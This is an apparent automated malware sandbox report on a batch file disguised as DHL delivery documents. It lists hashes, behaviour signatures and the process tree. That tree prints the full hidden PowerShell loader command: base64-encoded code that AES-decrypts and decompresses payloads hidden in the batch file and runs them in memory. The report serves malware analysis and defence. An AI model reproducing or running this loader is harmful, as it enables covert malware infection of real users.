Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
07/03/2025, 04:53
Static task
static1
Behavioral task
behavioral1
Sample
awb_post_dhl_delivery_documents_07_03_2025_00000000000250507.bat
Resource
win7-20240903-en
4 signatures
150 seconds
General
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Target
awb_post_dhl_delivery_documents_07_03_2025_00000000000250507.bat
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Size
64KB
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MD5
6ac676101e5cc6f9b723060ffafd7168
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SHA1
d1f888277d5a627862316a8a81d90e1a3dd19ee2
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SHA256
dac0285f7cc9ae45f5c79314a20853c5d9e1071bf657260f7fa34ae8f35a2ec9
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SHA512
8a5417c33e37cce7c58e3dc132d24104b6a9599e2788df9ca3e040b04241ae82d77c4709baa210cc06b638dd6a1ab188f27928db93df203b6b14e9c1a43d41cd
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SSDEEP
1536:IZkbmEKUgXEXzICKUnFP25y3Nm8RiepC+gR1LKT6x6bsLO:lHflwYigiHKTW6bsLO
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3068 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3068 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3068 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1996 wrote to memory of 2000 1996 cmd.exe 31 PID 1996 wrote to memory of 2000 1996 cmd.exe 31 PID 1996 wrote to memory of 2000 1996 cmd.exe 31 PID 2000 wrote to memory of 3068 2000 cmd.exe 33 PID 2000 wrote to memory of 3068 2000 cmd.exe 33 PID 2000 wrote to memory of 3068 2000 cmd.exe 33
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_07_03_2025_00000000000250507.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_07_03_2025_00000000000250507.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2000 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskdm53dGQgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHZud3RkKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICR2bnd0ZCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCR2bnd0ZCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkdm53dGQiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24ganJpd3koJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1hBOWltS0pYNzVQVk8rTEJ4MFpTZUdoSlRGZU5nelRCMzJUeENwQlpSakk9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ01rMzF0UGdXRWkzQi96R1VPbXIrTEE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gbmNib2YoJHBhcmFtX3Zhcil7CSRkaGN1dT1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkb3FrbWo9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkbnl5cmc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkZGhjdXUsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJG55eXJnLkNvcHlUbygkb3FrbWopOwkkbnl5cmcuRGlzcG9zZSgpOwkkZGhjdXUuRGlzcG9zZSgpOwkkb3FrbWouRGlzcG9zZSgpOwkkb3FrbWouVG9BcnJheSgpO31mdW5jdGlvbiByeGRqcSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGlrbm10PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHNnZmJ6PSRpa25tdC5FbnRyeVBvaW50Owkkc2dmYnouSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZud3RkOyRma3VoZD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZud3RkKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbmZsIGluICRma3VoZCkgewlpZiAoJG5mbC5TdGFydHNXaXRoKCc6OiAnKSkJewkJJG5oeWlqPSRuZmwuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGt3ZXhxPVtzdHJpbmdbXV0kbmh5aWouU3BsaXQoJ1wnKTskeWVvcHA9bmNib2YgKGpyaXd5IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGt3ZXhxWzBdKSkpOyRyenp6cz1uY2JvZiAoanJpd3kgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygka3dleHFbMV0pKSk7cnhkanEgJHllb3BwICRudWxsO3J4ZGpxICRyenp6cyAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3068
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